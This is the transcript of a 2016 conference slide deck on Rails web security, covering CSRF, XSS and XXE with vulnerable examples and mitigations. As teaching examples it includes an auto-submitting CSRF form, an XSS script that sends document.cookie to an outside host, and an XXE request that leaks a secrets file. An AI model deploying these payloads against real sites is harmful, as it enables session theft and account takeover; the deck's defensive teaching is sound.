Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Security is Broken: Understanding Common Vulner...

Security is Broken: Understanding Common Vulnerabilties

Brighton Ruby 2016

Avatar for Eileen M. Uchitelle

Eileen M. Uchitelle

July 08, 2016
Tweet

More Decks by Eileen M. Uchitelle

Other Decks in Technology

Transcript

  1. EILEEN M. UCHITELLE Security, Infrastructure & Performance Team at Basecamp

    ! eileencodes.com " @eileencodes # @eileencodes ! speakerdeck.com/eileencodes
  2. • Impossible to test for all possible vulnerabilities • Hackers

    are always one step ahead How is security broken?
  3. • Impossible to test for all possible vulnerabilities • Hackers

    are always one step ahead • Patching one vulnerability can lead to exposing new ones How is security broken?
  4. vs.

  5. • Failed to enforce web standards • Failed to implement

    a definition of security How did we get here?
  6. “...completely failed to come up with even the most rudimentary

    usable frameworks for understanding the security of modern software.” – Michal Zalewski, The Tangled Web
  7. • Failed to enforce web standards • Failed to implement

    a definition of security • Too few people understand the vulnerabilities How did we get here?
  8. <form class="edit_user" action="/users/2" method="post"> <label for="user_name">Name</label> <input type="text" value="Arya" name="user[name]"

    /> <label for="user_email">Email</label> <input type="text" value=“[email protected]” name="user[email]" /> <label for="user_website">Website</label> <input type="text" value=“aryadog.com“ name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form>
  9. <body onload=“document.forms[0].submit()"> <form action="http://dogbook/users/2" method="post"> <label for="user_name">Name</label> <input type="text" value="Arya"

    name=“user[name]" /> <label for="user_email">Email</label> <input type="text" value=“[email protected]" name="user[email]" /> <label for="user_website">Website</label> <input type="text" value=“aryadog.com" name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form> </body>
  10. <form action="/users/2" method="post"> <label for="user_name">Name</label> <input type="text" value="Arya" name=“user[name]" />

    <label for="user_email">Email</label> <input type="text" value=“[email protected]” name="user[email]" /> <label for="user_website">Website</label> <input type="text" value=“aryadog.com" name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form> Jessie’s email
  11. <body onload=“document.forms[0].submit()"> <form action="http://dogbook.com/users/2" method="post"> <label for="user_name">Name</label> <input type="text" value="Arya"

    name="user[name]" /> <label for="user_email">Email</label> <input type="text" value=“[email protected]” name="user[email]" /> <label for="user_website">Website</label> <input type="text" value=“aryadog.com" name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form> </body> Auto-submit form
  12. <body onload=“document.forms[0].submit()"> <form action=“http://dogbook.com/users/2" method="post"> <label for="user_name">Name</label> <input type="text" value="Arya"

    name="user[name]" /> <label for="user_email">Email</label> <input type="text" value=“[email protected]” name="user[email]" /> <label for="user_website">Website</label> <input type="text" value=“aryadog.com" name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form> </body> Auto-submit form to victim site
  13. <form action="/users/2" method="post"> <input type="hidden" value="31RRdFdpulXYDxsOjyTRqKPiJxcP3+ayC==" name=authenticity_token" /> <label for="user_name">Name</label>

    <input type="text" value="Eileen" name="user[name]" /> <label for="user_email">Email</label> <input type="text" value="[email protected]" name="user[email]" /> <label for="user_website">Website</label> <input type="text" value="eileencodes.com" name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form> CSRF protection
  14. class ApplicationController < ActionController::Base before_action :authenticate protect_from_forgery with: :exception, if:

    -> { authenticate_method.web? } end class ChatsController < ApplicationController skip_before_action :authenticate before_action :authenticate_for_chat, only: :create end
  15. class ApplicationController < ActionController::Base before_action :authenticate protect_from_forgery with: :exception, if:

    -> { authenticate_method.web? } end class ChatsController < ApplicationController skip_before_action :authenticate before_action :authenticate_for_chat, only: :create end Skip auth callback
  16. class ApplicationController < ActionController::Base before_action :authenticate protect_from_forgery with: :exception, if:

    -> { authenticate_method.web? } end class ChatsController < ActionController::Base skip_before_action :authenticate before_action :authenticate_for_chat, only: :create protect_from_forgery with: :exception, if: -> { authenticate_method.web? } end
  17. • Use built-in framework CSRF protection • Refresh tokens with

    the session / don’t reuse tokens How to mitigate CSRF?
  18. • Use built-in framework CSRF protection • Refresh tokens with

    the session / don’t reuse tokens • Mitigate XSS attacks How to mitigate CSRF?
  19. XSS

  20. <script> document.write( '<img src=“http://www.hax0rcats.com/' + document.cookie + '">' ); </script>

    automatic protection. Let’s say for some reason you wanted to allow the user to dress up their name by adding html tags. To
  21. <h1>Profile</h1> <p id="notice"><%= notice %></p> <p> <strong>Name:</strong> <%= @user.name %>

    </p> <p> <strong>Email:</strong> <%= @user.email %> </p> <p> <strong>Website:</strong> <%= link_to('website', @user.website) %> </p> <%= link_to 'Edit', edit_user_path(@user) %> | <%= link_to 'Back', users_path %>
  22. <h1>Profile</h1> <p id="notice"><%= notice %></p> <p> <strong>Name:</strong> <%= (@user.name).html_safe %>

    </p> <p> <strong>Email:</strong> <%= @user.email %> </p> <p> <strong>Website:</strong> <%= link_to('website', @user.website) %> </p> <%= link_to 'Edit', edit_user_path(@user) %> | <%= link_to 'Back', users_path %> automatic protection. Let’s say for some reason you wanted to allow the user to dress up their name by adding html tags. To
  23. <h1>Profile</h1> <p id="notice"><%= notice %></p> <p> <strong>Name:</strong> <%= (@user.name).html_safe %>

    </p> <p> <strong>Email:</strong> <%= @user.email %> </p> <p> <strong>Website:</strong> <%= link_to('website', @user.website) %> </p> <%= link_to 'Edit', edit_user_path(@user) %> | <%= link_to 'Back', users_path %> Don’t do this
  24. <h1>Profile</h1> <p id="notice"><%= notice %></p> <p> <strong>Name:</strong> <%= sanitize(@user.name) %>

    </p> <p> <strong>Email:</strong> <%= @user.email %> </p> <p> <strong>Website:</strong> <%= link_to('website', @user.website) %> </p> <%= link_to 'Edit', edit_user_path(@user) %> | <%= link_to 'Back', users_path %> Will strip out unwanted tags and attributes
  25. • Don’t HTML escape user-provided data • Sanitize user-provided data

    • Validate user-provided data How to mitigate XSS?
  26. class User < ActiveRecord::Base WHITELISTED_URI_SCHEMES = %w( http https )

    validate :check_uri_scheme private def check_uri_scheme begin uri = URI.parse(website) unless WHITELISTED_URI_SCHEMES.include?(uri.scheme.downcase) errors.add :website, 'is not an allowed URI scheme' end rescue URI::InvalidURIError errors .add :website, 'is not a valid URI' end end end
  27. class User < ActiveRecord::Base WHITELISTED_URI_SCHEMES = %w( http https )

    validate :check_uri_scheme private def check_uri_scheme begin uri = URI.parse(website) unless WHITELISTED_URI_SCHEMES.include?(uri.scheme.downcase) errors.add :website, 'is not an allowed URI scheme' end rescue URI::InvalidURIError errors .add :website, 'is not a valid URI' end end end
  28. class User < ActiveRecord::Base WHITELISTED_URI_SCHEMES = %w( http https )

    validate :check_uri_scheme private def check_uri_scheme begin uri = URI.parse(website) unless WHITELISTED_URI_SCHEMES.include?(uri.scheme.downcase) errors.add :website, 'is not an allowed URI scheme' end rescue URI::InvalidURIError errors .add :website, 'is not a valid URI' end end end
  29. XXE

  30. <!-- todolist.xml --> <!DOCTYPE todolist [ <!ENTITY ext1 SYSTEM “list_items_6-7.xml”>

    ]> <list> <todo>Take a nap</todo> <todo>Go on a long walk with my hooman</todo> &ext1; <todo>Take another nap</todo> <todo>Go to bed</todo> </list>
  31. <!-- todolist.xml --> <!DOCTYPE todolist [ <!ENTITY ext1 SYSTEM “list_items_3-4.xml”>

    ]> <list> <todo>Take a nap</todo> <todo>Go on a long walk with my hooman</todo> &ext1; <todo>Take another nap</todo> <todo>Go to bed</todo> </list> Entity reference
  32. <!-- after parsing --> <list> <todo>Take a nap</todo> <todo>Go on

    a long walk with my hooman</todo> <todo>Eat breakfast</todo> <todo>Bark at the mail carrier</todo> <todo>Take another nap</todo> <todo>Go to bed</todo> </list>
  33. class UsersController < ApplicationController def create @user = User.new(user_params) respond_to

    do |format| if @user.save format.html { redirect_to @user } format.xml { render :xml => @user.to_xml } else format.html { render :new } format.xml { render xml: @user.errors.to_xml } end end end end
  34. class UsersController < ApplicationController def create @user = User.new(user_params) respond_to

    do |format| if @user.save format.html { redirect_to @user } format.xml { render :xml => @user.to_xml } else format.html { render :new } format.xml { render xml: @user.errors.to_xml } end end end end XML
  35. curl -X 'POST' -H 'Content-Type: application/xml' -d @xxe.xml http://dogbook.com/users.xml <user>

    <name> ... production: secret_key_base: 271a389cf7bf7b4ff18af3e809241603802b5ff1617b5432a41ff0f99d5 f29c897db7f07a9cebd9e3a3535301720c0b19ac4eb82afa505ed229c40 00e166a9a5 ... </name> </user> secrets.yml as user’s name
  36. • Don’t parse XML • Don’t use parsers that allow

    entity replacement (LibXML) How to mitigate XXE?
  37. • Don’t parse XML • Don’t use parsers that allow

    entity replacement (LibXML) • Whitelist known entities How to mitigate XXE?
  38. EILEEN M. UCHITELLE Security, Infrastructure & Performance Team at Basecamp

    ! eileencodes.com " @eileencodes # @eileencodes ! speakerdeck.com/eileencodes